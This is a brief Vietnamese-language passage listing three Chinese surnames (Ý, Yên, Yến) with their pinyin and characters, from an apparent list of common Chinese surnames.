Vần Y

463. Ý – Yì  – 意
464. YÊN – Ān – 安
465. YẾN – Yàn  – 燕

100 họ của người Hoa thông dụng

họ người hoa